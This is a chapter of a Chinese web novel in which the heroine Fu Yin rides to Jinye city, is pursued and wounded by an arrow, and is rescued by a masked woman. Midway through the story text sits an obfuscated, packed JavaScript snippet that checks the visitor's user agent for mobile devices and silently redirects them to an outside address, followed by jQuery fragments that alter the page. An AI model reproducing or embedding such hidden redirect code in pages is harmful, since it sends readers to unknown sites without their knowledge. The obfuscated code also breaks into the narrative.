文趣网 > 其他小说 > 春茵不下 > 36. 闾那·金叶城
    她在高台上拍着胸口说一定,话出口还没过夜,她就开始盘算怎么走。

    但黑水旗不等人,商队出了鸦谷再追就来不及了,她来闾那,还学些胡语,套朱勉的话,说到底就是为了这个,现在机会摆在面前,她哪有不去的道理,而且李添亦近日又恰好不在王庭,天赐良机。

    她心里过了那么一下。

    要不快马加鞭赶在宴席之前回来,最多三五日,她查她的,回来还是那个乖乖待在王庭的飒弥娘子,两头不耽误。

    不过他倒是做到了真让她“自便”,要出门常辛没有拦,也没派人跟着。

    傅茵先去酒铺找艾克板尔借了匹马,出城往东走,路渐渐窄了,两边土墙变成了稀疏的骆驼刺,日头从头顶斜下来,把她的影子投在路上,短短一团,紧贴在马腹。

    她在一个岔路口勒住马,树荫底下蹲着个年轻的胡人女子,正就着水囊喝水,听见马蹄声抬起头,看见傅茵,起身,一手在胸前按住行了个礼:“飒弥娘子。”

    傅茵翻身下马,把缰绳搭在马脖,“你便是老图引的那位向导葛莎?”

    “是我。”葛莎笑起来,露出两颗尖尖的虎牙。

    俩人在树下立着,葛莎问:“飒弥娘子一个人去金叶城?怎么不把阿依妹妹带上?”

    “阿依要看着铺子。”傅茵道:“我此行是去拿货的。”

    “可你拿货怎么一个人去?”葛莎歪着头看她,那双发亮的眼睛里有好奇,但没有探究:“老图叔说你是个做大事的,可做大事的怎么一个人跑。”

    傅茵微微一怔。

    一个人跑。

    她的确不止一次被人这样说,从平京到闾那,一路都是她和青骊两个人,她以为自己跑得够快够远就行,可跑着跑着就发现,跑得快和远并不是本事,真正要紧的是能站住。她一路有了不少朋友,如今也算凭自己有了容身之所,可这些什么都不够,朝廷动一动手指,她就得从扬州跑,黑水旗的商队要走,她也只能自己去追,连个替她盯梢的人都没有。

    葛莎啃完干馕,拍了拍手上的碎屑:“飒弥娘子,你若是长久做生意,其实可以多雇几个人,金叶城就有不少年轻小伙,力气大跑得快,给口饭吃就肯跟着走,你同你妹妹都还年轻,有些帮手还是好的。”

    傅茵仰了仰头:“可雇人容易,养人难呐。”

    “难什么,给工钱就行,又不要你管饭。”

    傅茵笑了一下。

    葛莎说得对,也不对。她缺的不是几个跑腿伙计,是真正能替她办事的人,从前在将军府不缺人用,到了东宫更不用说,可那些人都不是她的,只有青骊是她从平京带出来的自己人。

    就连青骊,傅茵有时也在想,如今她除了有些钱财傍身,可谓是无权无势,甚至“罪臣之女”“东宫废妃”“欺君之罪”加身,寻常人遇上这样的主子,早便有多远跑多远了。

    而且青骊和她自己都并没有那份本领,她需要的是老图和阿史那这样的人,是葛莎这样的人。

    但她拿什么让人替她做事,她手里的牌太少,银子倒是有,但自己的身份见不得光,连在查的东西都不敢跟人说清楚。

    她静了片刻,似是思畴,葛莎见状:“飒弥娘子若是想找人,不妨让我帮你寻觅,不过你想找什么样的人,帮你送货的?能打的?会认路的?还是——”

    傅茵笑了笑,拍了拍裙摆沾的草屑:“先不急着找人,咱们先去金叶城。”

    葛莎也没再追问,牵了自己的马来,一匹瘦高的枣红马,比人还高出半个头,她踩着马镫翻上去,坐直腰:“此去需得一个时辰,飒弥娘子若是累了便告诉我一声,咱们歇歇。”

    “不妨事,你骑多快我骑多快。”

    葛莎一抖缰绳,枣红马扬蹄。

    傅茵也翻身上鞍,催了催马,马儿小跑起来跟上去,蹄声笃落在土路。

    一路只歇了两三次,一路赶到金叶。

    金叶城比若末热得多,街上没什么人,这个时辰都在屋里躲暑气,傅茵在城门下马,从怀里摸出银钱给葛莎。

    葛莎塞进腰带里,却并未立刻走,勒着马在原地转了小半圈:“飒弥娘子,这城我也来过几趟,你要去哪儿,我送你一程再回。”

    傅茵本来想说不必,话到嘴边又咽了回去。

    老图的地址之前确是给过她,但金叶城的屋舍比若末密得多,每间还都长得差不多,有人带着,总比她一间一间地数门强。

    “城西。”

    “应当是旧市集那一带。”葛莎调转马头,朝西边扬了扬下巴,“走吧,不远。”

    两人沿着主街走了约莫一盏茶的工夫,拐进一条窄巷,巷子两边是高高的土墙。

    傅茵牵马走在前,葛莎在她身后几步远,马蹄声在巷子里被墙壁来回弹撞。

    走到老图说的那个巷口的,傅茵刚要拐弯,对面那扇门猛地从里面被撞开了。

    门板撞在墙上的声响又闷又脆,七八个人从门里冲出来,跌跌撞撞往巷子两头跑,狼狈非常,其中一个跑过傅茵身边的时候绊了一下,踉跄着扶了一把她的马鞍稳住。

    傅茵认出了那张脸。

    她在老图的商队里见过这个人,年纪不大,笑起来嘴角有个小酒窝,此刻他的嘴角破了,血从裂口渗出来糊了半张脸。

    他没认出傅茵,也许认出来了但没工夫停下,松开马鞍,弓着腰往前窜了几步,消失在巷口。

    傅茵的马被撞得往旁边偏了一步,她拽住缰绳,刚要问话,身后那扇门里又涌出人来。

    这次追出五六个人,手里拎着长短不一的家伙,傅茵的脑子还没反应过来,身体先动了,攥着缰绳的手猛地往后一扯,马前蹄抬起来又落下,她正好借这个势头转过身,对着葛莎喊了一声:“跑!”

    葛莎的枣红马已掉过头了,她的骑术比傅茵好得多,两人几乎同时催马往巷子外冲。

    身后有人喊:“这两个女人和他们是一伙的,上马追!”

    马蹄声在窄巷被放大数倍,如无数面鼓同时敲响,傅茵伏在马背,马儿大概是被身后的动静吓着了,跑得比她想象中快,耳朵紧紧贴着脑袋,四蹄刨得土路上的石子直往两边飞。

    她回头看了一眼,葛莎在她左后方,枣红马比她快出一截,但葛莎没有超过她,而是压着速度跟在旁边,像是怕她一个人跑偏。

    身后的人已上了马,巷子窄,他们没法并排,但有一骑追得格外快,马蹄声越来越近,近到傅茵能听见马喷鼻息的声音。

    她又回头看了一眼,那人手里端着弩,弩身被日光晒得发亮。

    “分开跑!”</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17643581|203564||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    葛莎喊了一声,枣红马忽然往左一偏,拐进了一条更窄的岔道,傅茵没有犹豫,直着往前冲。

    身后的追兵分了两路,一路追葛莎,另一路——她听见马蹄声还在后面,没有少,甚至更近。

    巷子尽头是一道敞开的土门,门外是金色田野和远远山影。

    然而冲出城门的一瞬,傅茵手臂像是被人用力推了一把,先是麻,然后是热,然后是钝钝的胀。

    左上臂一支短簇簇的箭,灰白尾羽嵌在外侧。

    马跑进了城外,树影把日光切碎,斑斑驳驳地落在脸上。

    到一个一人多高的土坡,坡面被雨水冲得松松的,长着几丛枯草,马儿一脚踏空,从坡顶直接冲了下去,前蹄一跪,后蹄跟着翻起来,整匹马往旁边歪倒。

    傅茵顺着坡滚下去,土坡在身后塌了一小片,尘土扬起来,把她的脸和头发盖了一层。

    她滚到底,左臂撞在一块石头上,箭被撞得往肉里又顶了顶,疼得差点咬上舌头,但她不敢停,身体蜷起来,几乎是下意识地往前滚圈,钻进一丛半人高的矮灌木底下。

    马蹄声停在了坡顶,两个人声从上面传下来:“刚才看着在这滚下去的……人呢?”

    “找了半天,应该是跑远了,算了,别费劲了,那小娘们一看就不经事,不是什么要紧的。”

    “你懂什么。”另一个声音颇是不耐,但还是往低处压了些:“你不知道白驼商队的总把子就是个娘们吗,老图那伙人背后是有人在供的,今天这女的敢这个时辰往金叶城来撞上这事,你以为是赶巧?”

    “啧,倒也是。”

    灌木丛外面安静了一瞬,但静谧中,踩在沙草上的,渐近的脚步便愈发清晰。

    然而更清晰的是两声短促而尖锐的破空声,前后差不到一息,皮肉接连被刺穿,坡顶安静下来。

    傅茵左臂的痛已从钝变得尖锐,她艰难抬起点头,从枯枝的缝隙里望上去。

    土坡顶上,那两人仰面朝天,喉咙上各自嵌着一支箭,两个人影都没有动静。

    傅茵膝盖抵着胸口,慢慢转过头,捂在她嘴上的手还没有移开。

    掌心干燥而温热,覆住她的下颌和半边脸颊,力道很稳,傅茵试探地拍了拍那只手,然后缩回来。

    那只手停了一下,松开了,傅茵转头,终于看清方才贴在后背捂着她嘴的人,是个女人。

    女人保持着蹲姿,从灌木丛里向坡顶看了一眼,确认那两个影子不会动,方才直起身。

    她一身深褐长袍,袖口收紧,暗红腰带在腰侧打了一个结,头上一圈暗红缠头,盘得紧实,缠头边沿缀着许多细碎银饰。

    暗红面巾从鼻梁覆过,只露出上方耳目。

    一双透亮琥珀的瞳仁,眼廓深邃,眼尾上挑,睫羽长密。

    她偏头朝身后说了句胡语:“干得好。”

    傅茵才看清她身后居然还跟着一群人,皆也是她这般利落打扮。

    女人得到回应后,又把目光落回傅茵身上,年轻的女孩蜷在坡下,神色颤巍,显然是吓着了。

    她微微上前,掌心朝上,指尖朝她的方向微微抬了一下。

    “小克孜,”她的中原话很是标准,若非样貌有异,单凭语调,几乎不会认为这是异域之人,“腿不麻吗?”